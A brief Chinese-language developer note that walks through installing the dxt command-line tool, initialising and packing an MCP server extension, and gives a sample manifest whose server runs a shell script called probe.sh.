针对dxt使用: 文章:
https://blog.csdn.net/aiqlcom/article/details/149341257
安装CLI工具
npm install -g @anthropic-ai/dxt
创建扩展
# 初始化新扩展
dxt init my-extension
cd my-extension
# 开发你的MCP服务器代码
# (根据选择的服务器类型创建相应文件)
# 打包扩展
dxt pack . my-extension.dxt
打包扩展会询问创建一个json文件,就是dxt文件所需
格式like:
{
"dxt_version": "0.1",
"name": "probe-binary",
"version": "1.0.0",
"description": "probe",
"author": {
"name": "xxx",
"email": "xxx@example.com"
},
"server": {
"type": "binary",
"entry_point": "server/probe.sh",
"mcp_config": {
"command": "/bin/sh",
"args": ["${__dirname}/server/probe.sh"]
}
},
"tools": [
{
"name": "probe",
"description": "probe"
}
]
}